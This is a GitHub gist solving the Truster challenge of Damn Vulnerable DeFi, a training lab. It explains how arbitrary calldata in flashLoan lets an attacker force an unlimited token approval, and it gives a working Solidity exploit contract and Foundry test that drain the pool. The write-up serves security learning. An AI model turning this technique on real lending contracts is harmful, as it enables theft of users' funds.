Skip to content

Instantly share code, notes, and snippets.

@ChapuKosi
Created February 6, 2025 10:54
Show Gist options
  • Save ChapuKosi/f59b7c27a6f950125ac8ecc234ad77ca to your computer and use it in GitHub Desktop.
Save ChapuKosi/f59b7c27a6f950125ac8ecc234ad77ca to your computer and use it in GitHub Desktop.
Truster Lender Pool Exploit (Damn Vulnerable DeFi)

Truster Exploit Breakdown

How It Works

  1. Abusing flashLoan: The pool allows borrowers to pass arbitrary data to any contract (target.call(data)).
  2. Forcing Approval: The attacker crafts data to call approve on the token contract, granting themselves unlimited spending.
  3. Draining Funds: After approval, the attacker uses transferFrom to steal all tokens.

How to Test

  1. Clone Damn Vulnerable DeFi Foundry.
  2. Replace test/truster/Truster.t.sol with this code.
  3. Run forge test --match-contract Truster -vvv.

Truster Lender Pool Exploit

Vulnerability

The flashLoan function allows arbitrary data to be passed to any contract via target.call(data).
This lets an attacker force the pool to approve them to spend all tokens.

Attack Steps

  1. Approval Hijack: Use flashLoan to call approve on the token contract, granting the attacker unlimited spending.
  2. Token Drain: Use transferFrom to steal all tokens from the pool.

Code Snippet

// Malicious data to approve the attacker
abi.encodeWithSignature("approve(address,uint256)", attacker, type(uint256).max)
// TrusterExploit.t.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";
import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {TrusterLenderPool} from "../../../src/Contracts/truster/TrusterLenderPool.sol";
contract TrusterExploit {
function attack(TrusterLenderPool pool, DamnValuableToken token) external {
// Trick the pool into approving this contract to spend all tokens
pool.flashLoan(
0,
address(this),
address(token),
abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
type(uint256).max
)
);
// Steal all tokens from the pool
token.transferFrom(address(pool), msg.sender, token.balanceOf(address(pool)));
}
}
contract Truster is Test {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
Utilities internal utils;
TrusterLenderPool internal trusterLenderPool;
DamnValuableToken internal dvt;
address payable internal attacker;
function setUp() public {
utils = new Utilities();
attacker = utils.createUsers(1)[0];
dvt = new DamnValuableToken();
trusterLenderPool = new TrusterLenderPool(address(dvt));
dvt.transfer(address(trusterLenderPool), TOKENS_IN_POOL);
}
function testExploit() public {
TrusterExploit exploit = new TrusterExploit();
vm.startPrank(attacker);
exploit.attack(trusterLenderPool, dvt);
vm.stopPrank();
assertEq(dvt.balanceOf(address(trusterLenderPool)), 0); // Pool is drained
assertEq(dvt.balanceOf(attacker), TOKENS_IN_POOL); // Attacker has all tokens
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment